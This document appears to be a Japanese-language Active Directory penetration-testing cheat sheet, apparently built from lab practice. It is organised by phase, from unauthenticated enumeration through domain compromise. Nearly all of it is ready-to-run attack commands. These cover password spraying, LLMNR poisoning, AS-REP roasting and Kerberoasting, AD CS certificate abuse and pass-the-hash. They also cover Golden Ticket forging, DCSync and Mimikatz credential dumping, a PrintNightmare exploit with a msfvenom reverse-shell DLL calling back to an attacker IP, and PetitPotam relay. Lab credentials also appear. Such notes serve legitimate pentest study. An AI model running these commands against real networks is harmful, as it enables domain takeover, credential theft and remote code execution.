Enumeration
認証情報を持ってない時の列挙
ホストの存在確認
fping
指定したIPアドレス範囲内のアクティブなホストの高速な特定
fping -asgq 172.16.5.0/23
DCの条件判断
DCである可能性が高いポートの確認
88/tcp
(Kerberos) - DCの可能性高135/tcp
(RPC)139/tcp
,445/tcp
(SMB)389/tcp
(LDAP) - DCが持つディレクトリサービス636/tcp
(LDAPS)3268/tcp
,3269/tcp
(Global Catalog) - ほぼ確定でDC
nmap
サービスとバージョン情報をスキャンし、DCかどうかのより確実な判断
nmap -sV <IP>
Foothold
資格情報を得るための列挙・攻撃
ユーザー列挙
enum4linux
普通に使う
enum4linux -A $Target_IP
SMB、RPC、LDAP経由でWindows/Sambaホストから情報を列挙し、ユーザーリストを取得
enum4linux -U <DC_IP> | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
背腕にわかっている認証情報で
enum4linux -u <ユーザー名> -p <パスワード> $Target_IP
rpcclient
RPCサービスに接続し、ドメインユーザーなどの情報を列挙(Nullセッションでも可)
rpcclient -U "" -N $Target_IP
rpcclient $> enumdomusers
CrackMapExec
SMBプロトコルを使用してネットワーク上のホストに対してユーザー列挙や認証攻撃
crackmapexec smb <DC_IP> --users
nxc
CrackMapExecの後継で、アクティブに開発が進められてる
guestで LDAP に接続してユーザー列挙
- 特定のユーザーの description フィールドにパスワードが埋め込まれていることがあり、このツールで、それを見つけられる
- 使用例 : Ledger#nxc
nxc ldap <Domain> -u 'guest' -p '' --users
ldapsearch
LDAPサーバーに接続し、指定した条件でユーザー情報などを検索・列挙(匿名バインドも可能)
ldapsearch -h <DC_IP> -x -b "DC=DOMAIN,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "
(DC=DOMAIN,DC=LOCAL は対象ドメインの識別名に置き換え)
自分の権限の列挙
ldapsearch -x -H ldap://$Target_IP -D "USERNAME@DOMAIN" -w 'PASSEWORD' -b "DC=PUPPY,DC=HTB" "(sAMAccountName=USERNAME)"
windapsearch
Active DirectoryのLDAP情報を列挙するためのPythonスクリプトで、特にユーザー列挙に利用
./windapsearch.py --dc-ip <DC_IP> -u "" -U
Kerbrute
Kerberosプロトコルを利用して、ユーザーリストから有効なドメインユーザーを列挙
kerbrute userenum -d <DOMAIN_NAME> --dc <DC_IP> /path/to/userlist.txt
パスワードポリシーの列挙
ldapsearch
LDAP経由でドメインのパスワードポリシー(最小長、履歴数など)の取得
ldapsearch -h <DC_IP> -x -b "DC=DOMAIN,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
net.exe
Windowsコマンドで、ローカルまたはドメインのパスワードポリシーやアカウント情報の表示
net accounts
PowerView
PowerViewはこいつしか信用するな
wget https://github.com/PowerShellMafia/PowerSploit/raw/refs/heads/dev/Recon/PowerView.ps1
PowerShellベースのツールで、Active Directoryのドメインポリシー情報の取得
Get-DomainPolicy
パスワードスプレー攻撃
rpcclient
少数の共通パスワードを多数のユーザーアカウントに対して試行
for u in $(cat valid_users.txt);do rpcclient -U "$u%<PASSWORD_TO_SPRAY>" -c "getusername;quit" <DC_IP> | grep Authority; done
Kerbrute
Kerberos認証を利用して、ユーザーリストに対し単一のパスワードを試行
kerbrute passwordspray -d <DOMAIN_NAME> --dc <DC_IP> valid_users.txt '<PASSWORD_TO_SPRAY>'
CrackMapExec
SMBプロトコル経由で、ユーザーリストに対し単一のパスワードを試行し、成功したアカウントを特定
crackmapexec smb <DC_IP> -u valid_users.txt -p '<PASSWORD_TO_SPRAY>' | grep '+'
DomainPasswordSpray
PowerShellスクリプトで、ドメインユーザーに対してパスワードスプレー攻撃を実行
. .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password '<PASSWORD_TO_SPRAY>' -OutFile spray_success -ErrorAction SilentlyContinue
LLMNR / NBT-NS ポイズニング
Responder
ネットワーク内でLLMNRやNBT-NSリクエストを偽装応答し、NTLMハッシュを奪取
sudo responder -I <NIC>
ntlm_theft
SMBに書き込みができる時に使用例あり
git clone https://github.com/Greenwolf/ntlm_theft
cd ntlm_theft
Responderと連携し、NTLMv2-SSPチャレンジ/レスポンスハッシュを取得
python3 ntlm_theft.py -g all -s <RESPONDER_IP> -f generate
Inveigh
Windows上で動作するLLMNR/NBT-NS/mDNS/DNS/DHCPv6ポイズニングおよび中間者攻撃ツール
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
AS-REP Roasting
PowerViewはこいつしか信用するな
wget https://github.com/PowerShellMafia/PowerSploit/raw/refs/heads/dev/Recon/PowerView.ps1
PowerView
Active Directory内でKerberos事前認証が不要 (DONT_REQ_PREAUTH
) に設定されているユーザーの列挙
(PowerView)
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname
Rubeus
事前認証不要のユーザーアカウントのAS-REP(TGT)を要求し、Hashcat形式でハッシュを取得
.\Rubeus.exe asreproast /user:<USERNAME> /nowrap /format:hashcat
GetNPUsers.py
Impacketツールキットの一部で、事前認証不要のユーザーのAS-REPハッシュの取得
(GetNPUsers.py)
impacket-GetNPUsers <DOMAIN_NAME>/ -dc-ip <DC_IP> -no-pass -usersfile valid_ad_users -format hashcat -outputfile asrep_hashes.txt
hashcat
AS-REPハッシュ(モード18200)を辞書攻撃やブルートフォース攻撃でクラック
(hashcat)
hashcat -m 18200 asrep_hashes.txt /path/to/wordlist.txt
Enviroment Check
侵入先の環境の列挙
セキュリティコントロールの確認
Powershell
PowerViewはこいつしか信用するな
wget https://github.com/PowerShellMafia/PowerSploit/raw/refs/heads/dev/Recon/PowerView.ps1
Get-MpComputerStatus
- Windows Defenderのリアルタイム保護などの状態確認
Get-MpComputerStatus
Get-AppLockerPolicy
- 適用されているAppLockerポリシー(アプリケーション実行制限)の確認
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$ExecutionContext.SessionState.LanguageMode
- 現在のPowerShellセッションの言語モード(FullLanguage, ConstrainedLanguageなど)の確認
$ExecutionContext.SessionState.LanguageMode
LAPSの確認
PowerView
Find-LAPSDelegatedGroups
- LAPSで管理されているローカル管理者パスワードを読み取る権限を持つグループの検索
Find-LAPSDelegatedGroups
Find-AdmPwdExtendedRights
- LAPSが有効な各コンピューターの権限をチェックし、パスワード読み取り権限を持つグループやユーザーの特定
Find-AdmPwdExtendedRights
Get-LAPSComputers
- LAPSが有効になっているコンピューターの一覧、パスワード有効期限、権限があれば平文パスワードの表示
Get-LAPSComputers
資格情報を利用した列挙
CrackMapExec
取得した認証情報を使用してドメインユーザー、グループ、ログオン中ユーザー、共有フォルダなどの列挙
- ドメインユーザー列挙
crackmapexec smb <DC_IP> -u <USER> -p <PASSWORD> --users
- ドメイングループ列挙
crackmapexec smb <DC_IP> -u <USER> -p <PASSWORD> --groups
- ログオン中ユーザー列挙
crackmapexec smb <TARGET_IP> -u <USER> -p <PASSWORD> --loggedon-users
- 共有フォルダ列挙
crackmapexec smb <DC_IP> -u <USER> -p <PASSWORD> --shares
- 共有フォルダ探索
crackmapexec smb <DC_IP> -u <USER> -p <PASSWORD> -M spider_plus --share '<SHARE_NAME>'
SMBMap
SMB共有を列挙し、アクセス権限の確認やファイルのダウンロード/アップロード、リモートコマンド実行が可能
- アクセス可能共有と権限
smbmap -u <USER> -p <PASSWORD> -d <DOMAIN> -H <TARGET_IP>
- 再帰的ディレクトリ一覧
smbmap -u <USER> -p <PASSWORD> -d <DOMAIN> -H <TARGET_IP> -R '<SHARE_NAME>' --dir-only
wmiexec.py
Impacketツールキットの一部で、WMI経由でターゲットホスト上でコマンドをセミインタラクティブに実行
wmiexec.py <DOMAIN_NAME>/<USER>:'<PASSWORD>'@<TARGET_IP>
Windapsearch
LDAPクエリを使用して、ドメイン管理者や特権ユーザーなどのActive Directory情報を列挙
- Domain Admins列挙:
python3 windapsearch.py --dc-ip <DC_IP> -u <USER>@<DOMAIN> -p <PASSWORD> --da
- 特権ユーザー列挙:
python3 windapsearch.py --dc-ip <DC_IP> -u <USER>@<DOMAIN> -p <PASSWORD> -PU
BloodHound.py / SharpHound
Active Directoryのオブジェクト間の関係性を収集・分析し、攻撃経路を視覚化
- Linuxコレクター:
sudo bloodhound-python -u '<USER>' -p '<PASSWORD>' -ns <DC_IP> -d <DOMAIN_NAME> -c all
-
例
sudo bloodhound-python -u 'levi.james@puppy.htb' -p 'KingofAkron2025!' -ns 10.129.232.75 -d puppy.htb -c all
-
Windowsコレクター (SharpHound)
.\SharpHound.exe -c All --zipfilename <OUTPUT_ZIP_NAME>
- Neo4j起動
sudo neo4j start
- BloodHound GUI起動
- neo4j : neo4j
bloodhound
ActiveDirectory PowerShell
Windows標準のPowerShellモジュールで、ADオブジェクトの情報を取得・操作
- モジュールインポート
Import-Module ActiveDirectory
- ドメイン情報
Get-ADDomain
- Kerberoast対象 (SPN持ちユーザー)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
- ドメイン信頼関係
Get-ADTrust -Filter *
- グループ列挙
Get-ADGroup -Filter - | select name
- グループメンバー
Get-ADGroupMember -Identity "<GROUP_NAME>"
PowerView
PowerSploitフレームワークの一部で、Active Directoryの偵察と悪用に特化したPowerShellツール
PowerViewはこいつしか信用するな
wget https://github.com/PowerShellMafia/PowerSploit/raw/refs/heads/dev/Recon/PowerView.ps1
- スクリプトロード
. .\PowerView.ps1
- ドメイン情報
Get-Domain
- DC列挙
Get-DomainController
- ユーザー情報
Get-DomainUser -Identity <USERNAME>
- グループメンバー (再帰的)
Get-DomainGroupMember -Identity "<GROUP_NAME>" -Recurse
- 興味深いACL
Find-InterestingDomainAcl
- GPO列挙
Get-DomainGPO
- SPN持ちユーザー (Kerberoast対象)
Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName
Snaffler
Active Directory環境内で、共有フォルダやファイルから認証情報や機密データを探索
Snaffler.exe -s -d <DOMAIN_NAME> -o snaffler.log -v data
adidnsdump
有効なドメインユーザーアカウントを使用して、ドメイン内の全てのDNSレコードを列挙
adidnsdump -u <DOMAIN_NAME>\\<USER> ldap//<DC_IP> -r
Literal Movement
他の資格情報を取得するための列挙・攻撃
証明書関連の脆弱性
Certpy
- Active Directory Certificate Services(AD CS)に対する攻撃や調査を行えるツール
- AD CS:Active Directory Certificate Services。Windowsドメイン環境に証明書を発行・管理するサービス。
- Windowsドメイン環境で証明書ベースの権限昇格や認証回避などの脆弱性(たとえば ESC1〜ESC8)を検出・悪用するために使う
- ESC1〜ESC8
- 証明書関連の典型的な脆弱性パターン
- たとえば ESC1 は「ユーザーが自分で証明書を要求でき、証明書で任意のユーザーを偽装できる」問題
脆弱な証明書の調査
- ESC1〜ESC8
certipy-ad find -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -target labyrinth.thm.local -stdout -vulnerable
脆弱な証明書の取得
certipy-ad req -username 'SUSANNA_MCKNIGHT@thm.local' -password 'CHANGEME2023!' -ca thm-LABYRINTH-CA -target labyrinth.thm.local -template ServerAuth -upn Administrator@thm.local
NTLMハッシュのリクエスト
- 取得できたら、smbexec.pyなどで使える
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.133.131
使用例 : Ledger#Certpy
特権アクセス先の利用
RDP (Remote Desktop Protocol)
GUIベースでリモートホストに接続し操作
- アクセス権確認 (PowerView)
Get-NetLocalGroupMember -ComputerName <TARGET_HOST> -GroupName "Remote Desktop Users"
- 接続 (xfreerdp)
xfreerdp /v:<TARGET_IP> /u:<USER> /p:<PASSWORD> /d:<DOMAIN>
WinRM (Windows Remote Management) / evil-winrm
PowerShellを使用してリモートホストを管理・操作evil-winrm
は特にペンテストで有用なクライアント
- アクセス権確認 (PowerView)
Get-NetLocalGroupMember -ComputerName <TARGET_HOST> -GroupName "Remote Management Users"
- 接続 (evil-winrm)
evil-winrm -i <TARGET_IP> -u <USER> -p '<PASSWORD>'
SQL Server (管理者権限)
sysadmin権限を持つアカウントでSQL Serverに接続し、OSコマンド実行などを試行
- インスタンス列挙 (PowerUpSQL)
Get-SQLInstanceDomain
- クエリ実行 (PowerUpSQL)
Get-SQLQuery -Instance "<INSTANCE>" -username "<USER>" -password "<PASSWORD>" -query "<SQL_QUERY>"
- xp_cmdshell有効化 & コマンド実行 (PowerUpSQL)
Get-SQLQuery -Instance "<INSTANCE>" ... -query "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;"
Get-SQLQuery -Instance "<INSTANCE>" ... -query "EXEC xp_cmdshell 'whoami'"
- 接続 (mssqlclient.py)
mssqlclient.py <DOMAIN>/<USER>@<TARGET_IP> -windows-auth
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
Pass-the-Hash (PtH) / Pass-the-Ticket (PtT)
CrackMapExec (PtH)
ユーザーのNTLMハッシュを使用してSMB経由で認証し、コマンド実行など
crackmapexec smb <TARGET_IP> -u <USER> -H <NTHASH>
Mimikatz (Windows - PtH)
NTLMハッシュをメモリに注入し、そのユーザーになりすましてプロセスを実行
privilege::debug
sekurlsa::pth /user:<USER> /domain:<DOMAIN> /ntlm:<NTHASH> /run:"cmd.exe"
Mimikatz (Windows - PtT)
Kerberosチケットファイル(.kirbi)をメモリに注入し、そのチケットを使用して認証
kerberos::ptt /path/to/ticket.kirbi
Rubeus (Windows - PtT)
Base64エンコードされたチケットや.kirbiファイルをメモリに注入してKerberos認証
.\Rubeus.exe ptt /ticket:<BASE64_TICKET_OR_KIRBI_FILE>
Kerberos ダブルホップ問題の回避
Invoke-Command (PowerShell)
PSCredentialオブジェクトを使用して明示的に認証情報を渡し、2ホップ先のリソースにアクセス
$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $SecPassword)
Invoke-Command -ComputerName <HOP1_TARGET> -ScriptBlock { Invoke-Command -ComputerName <HOP2_TARGET> -ScriptBlock { whoami } -Credential $using:Cred } -Credential $Cred
ドメイン信頼関係の悪用
SID History / ExtraSIDs (子→親)
子ドメインのKRBTGTハッシュと親ドメインの特権グループSIDを使用してGolden Ticketを作成し、親ドメインを掌握
- Mimikatz (Golden Ticket)
kerberos::golden /user:<FAKE_USER> /domain:<CHILD_DOMAIN_FQDN> /sid:<CHILD_DOMAIN_SID> /krbtgt:<CHILD_KRBTGT_HASH> /sids:<PARENT_ENTERPRISE_ADMIN_SID> /ptt
- Rubeus (Golden Ticket)
.\Rubeus.exe golden /rc4:<CHILD_KRBTGT_HASH> /domain:<CHILD_DOMAIN_FQDN> /sid:<CHILD_DOMAIN_SID> /sids:<PARENT_ENTERPRISE_ADMIN_SID> /user:<FAKE_USER> /ptt
- ticketer.py (Linux)
ticketer.py -nthash <CHILD_KRBTGT_HASH> -domain <CHILD_DOMAIN_FQDN> -domain-sid <CHILD_DOMAIN_SID> -extra-sid <PARENT_ENTERPRISE_ADMIN_SID> <FAKE_USER>
export KRB5CCNAME=<FAKE_USER.ccache>
psexec.py <CHILD_DOMAIN_FQDN>/<FAKE_USER>@<PARENT_DC_FQDN> -k -no-pass -target-ip <PARENT_DC_IP>
クロスフォレストKerberoasting
信頼関係のある別フォレストのドメインに対してKerberoasting攻撃を行い、サービスアカウントのハッシュを取得
- Rubeus (Windows)
.\Rubeus.exe kerberoast /domain:<TARGET_FOREST_DOMAIN> /user:<TARGET_SPN_USER> /nowrap
- GetUserSPNs.py (Linux)
GetUserSPNs.py -request -target-domain <TARGET_FOREST_DOMAIN> <CURRENT_DOMAIN>/<USER>:<PASSWORD>
管理者パスワードの使い回し
異なるドメイン間で管理者アカウントのパスワードが再利用されていないか確認
グループメンバーシップの悪用 (他ドメインメンバー)
他ドメインのユーザーがローカルドメインの特権グループに所属していないか確認
- PowerView
Get-DomainForeignGroupMember -Domain <TARGET_DOMAIN>
Privilege Escatlation
(権限昇格のための列挙・攻撃)
Kerberoasting
SPNアカウント列挙
サービスプリンシパル名(SPN)が設定されたユーザーアカウント(Kerberoastingの対象)の列挙
- GetUserSPNs.py (Linux)
GetUserSPNs.py <DOMAIN>/<USER>:<PASSWORD> -dc-ip <DC_IP>
- PowerView (Windows)
Get-DomainUser -SPN
- setspn.exe (Windows)
setspn.exe -Q */*
TGSチケット要求
列挙したSPNアカウントのTGS(サービスチケット)を要求し、そのハッシュを取得
GetUserSPNs.py -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD> -request -outputfile tgs_tickets
- Rubeus (Windows)
.\Rubeus.exe kerberoast /user:<TARGET_USER> /nowrap /format:hashcat
(RC4強制は /tgtdeleg
オプション)
- PowerShell (Windows, 手動)
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SPN>"
- (Mimikatzでメモリからエクスポート)
kerberos::list /export
ハッシュクラック
取得したTGSハッシュ(モード13100)をオフラインでクラック
- Hashcat
hashcat -m 13100 tgs_tickets /path/to/wordlist.txt
- John
john --wordlist=/path/to/wordlist.txt tgs_tickets
ACL (アクセス制御リスト) の悪用
列挙 (PowerView)
PowerViewはこいつしか信用するな
wget https://github.com/PowerShellMafia/PowerSploit/raw/refs/heads/dev/Recon/PowerView.ps1
オブジェクトに対する不適切なACL設定(書き込み権限など)の探索
Find-InterestingDomainAcl
- 特定ユーザーの権限
$sid = Convert-NameToSid <USER>; Get-DomainObjectACL -ResolveGUIDs -Identity - | ? {$_.SecurityIdentifier -eq $sid}
権限行使 (PowerView例)
PowerViewはこいつしか信用するな
wget https://github.com/PowerShellMafia/PowerSploit/raw/refs/heads/dev/Recon/PowerView.ps1
発見したACLの権限を利用して、パスワード変更、グループ追加、SPN書き換えなど
- パスワード変更
Set-DomainUserPassword -Identity <TARGET_USER> -AccountPassword <NEW_PASS_OBJ> -Credential <CRED_OBJ>
- グループ追加
Add-DomainGroupMember -Identity '<TARGET_GROUP>' -Members '<USER_TO_ADD>' -Credential <CRED_OBJ>
- SPN書き換え (Kerberoast準備)
Set-DomainObject -Credential <CRED_OBJ> -Identity <TARGET_USER> -SET @{serviceprincipalname='fake/spn'}
GPO (グループポリシーオブジェクト) の悪用
列挙
PowerView
PowerViewはこいつしか信用するな
wget https://github.com/PowerShellMafia/PowerSploit/raw/refs/heads/dev/Recon/PowerView.ps1
ドメイン内のGPOを列挙し、その設定やACLの確認
Get-DomainGPO
- ACL確認
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}
攻撃
SharpGPOAbuse.exe
GPOの書き込み権限を悪用して、ローカル管理者追加やスケジュールタスク作成など
- ローカル管理者追加
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <USER_TO_ADD> --GPOName "<GPO_NAME>"
- タスク作成
SharpGPOAbuse.exe --AddTask --TaskName "<TASK_NAME>" --Command "<COMMAND>" --Arguments "<ARGS>" --GPOName "<GPO_NAME>"
脆弱性利用
NoPac
SamAccountName Spoofing - CVE-2021-42278 & CVE-2021-42287
ドメインユーザーからドメイン管理者へ昇格可能な脆弱性を悪用
- スキャン
sudo python3 scanner.py <DOMAIN>/<USER>:<PASSWORD> -dc-ip <DC_IP> -use-ldap
- SYSTEMシェル取得
sudo python3 noPac.py <DOMAIN>/<USER>:<PASSWORD> -dc-ip <DC_IP> -dc-host <DC_HOSTNAME> -shell --impersonate administrator -use-ldap
PrintNightmare
RCE via Print Spooler - CVE-2021-34527, CVE-2021-1675
プリントスプーラーサービスの脆弱性を利用してリモートコード実行や権限昇格
- RPC確認
rpcdump.py @<DC_IP> | egrep 'MS-RPRN|MS-PAR'
- DLLペイロード作成
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=<PORT> -f dll > payload.dll
- SMB共有
sudo smbserver.py -smb2support SHARE_NAME /path/to/payload_dll_folder/
- エクスプロイト実行
sudo python3 CVE-2021-1675.py <DOMAIN>/<USER>:<PASSWORD>@<DC_IP> '\\\\<ATTACKER_IP>\\SHARE_NAME\\payload.dll'
PetitPotam
NTLM Relay via MS-EFSRPC -> AD CS -> DC Cert -> DCSync
MS-EFSRPCプロトコルを悪用してNTLMリレーを行い、AD CS経由でDCの証明書を取得しDCSyncへ
- NTLMリレー (ntlmrelayx.py)
sudo ntlmrelayx.py -debug -smb2support --target http://<CA_SERVER_FQDN>/certsrv/certfnsh.asp --adcs --template DomainController
- PetitPotamトリガー
python3 PetitPotam.py <ATTACKER_IP_FOR_NTLMRELAYX> <DC_IP_TO_COERCE>
- 証明書からTGT取得 (gettgtpkinit.py)
python3 /opt/PKINITtools/gettgtpkinit.py <DOMAIN>/<DC_HOSTNAME>\$ -pfx-base64 <BASE64_CERT> dc_ticket.ccache
- TGTでDCSync
export KRB5CCNAME=dc_ticket.ccache;
secretsdump.py -k -no-pass -just-dc-user <DOMAIN>/administrator "<DC_HOSTNAME>\$"@<DC_FQDN>
MS14-068
Kerberos PAC偽造
KerberosチケットのPAC(特権属性証明書)を偽造し、ドメイン管理者へ昇格する脆弱性 (PyKEK, Impacket)
その他の設定ミス悪用
PASSWD_NOTREQD フラグ
パスワードが不要に設定されているアカウントの悪用
- PowerView
Get-DomainUser -UACFilter PASSWD_NOTREQD
- (空パスワード等でログイン試行)
GPP (グループポリシー設定) パスワード
グループポリシー設定に保存された暗号化パスワード(復号可能)の悪用
- CrackMapExec
crackmapexec smb <DC_IP> -u <USER> -p <PASSWORD> -M gpp_password
- 手動復号 (gpp-decrypt)
gpp-decrypt <CPASSWORD_FROM_XML>
説明欄に書かれたパスワード
ユーザーアカウントの説明欄などに不用意に記載されたパスワードの探索
- PowerView
Get-DomainUser - | Select-Object samaccountname,description |Where-Object {$_.Description -ne $null}
SYSVOLスクリプト内の認証情報
SYSVOL共有内のスクリプトにハードコードされた認証情報の探索
- SYSVOL共有 (
\\<DC_IP>\SYSVOL\<DOMAIN_FQDN>\scripts
) 内のスクリプトを確認
Exchange関連グループメンバーシップ
PrivExchange等
Exchange関連の特権グループ ("Exchange Windows Permissions", "Organization Management") の悪用
プリンタバグ
MS-RPRN
プリントスプーラープロトコルの欠陥を利用し、サーバーに任意ホストへの認証を強制(LDAPリレーなど)
LDAP認証情報スニッフィング
アプリケーションやプリンタのWeb管理コンソールからLDAP認証情報を窃取
Post Privilege Escatlation
DCSync
ドメイン全体のハッシュ取得
secretsdump.py
DS-Replication-Get-Changes権限を悪用し、ドメインコントローラーから全ユーザーのNTLMハッシュなどを取得
- パスワード使用
secretsdump.py -just-dc -outputfile domain_hashes <DOMAIN>/<DA_USER>@<DC_IP>
- NTLMハッシュ使用
secretsdump.py -just-dc -outputfile domain_hashes -hashes <LMHASH:NTHASH> <DOMAIN>/<DA_USER>@<DC_IP>
- Kerberosチケット使用
export KRB5CCNAME=<TICKET.CCACHE>;
secretsdump.py -k -no-pass -just-dc <DOMAIN>/<DA_USER_IMPERSONATED>@<DC_IP>
Mimikatz
ドメイン管理者権限のコンテキストで実行し、DCSync攻撃
privilege::debug
lsadump::dcsync /domain:<DOMAIN_FQDN> /all /csv
lsadump::dcsync /domain:<DOMAIN_FQDN> /user:krbtgt
Mimikatz
メモリから認証情報ダンプ
ローカルシステムのメモリから平文パスワード、NTLMハッシュ、Kerberosチケットなどを抽出
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets /export
lsadump::lsa
lsadump::secrets
Golden Ticket
永続的ドメイン管理者アクセス
ドメインのKRBTGTアカウントのハッシュを使用して、任意のユーザーとして長期間有効なTGTを偽造
- KRBTGTハッシュはDCSyncで取得
- Mimikatz (Windows)
kerberos::golden /user:<ADMIN_USER_TO_CREATE> /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /ptt
WinPEAS
Windowsホスト上で実行し、権限昇格や横展開に繋がる可能性のある情報を広範囲に収集
.\winPEASx64.exe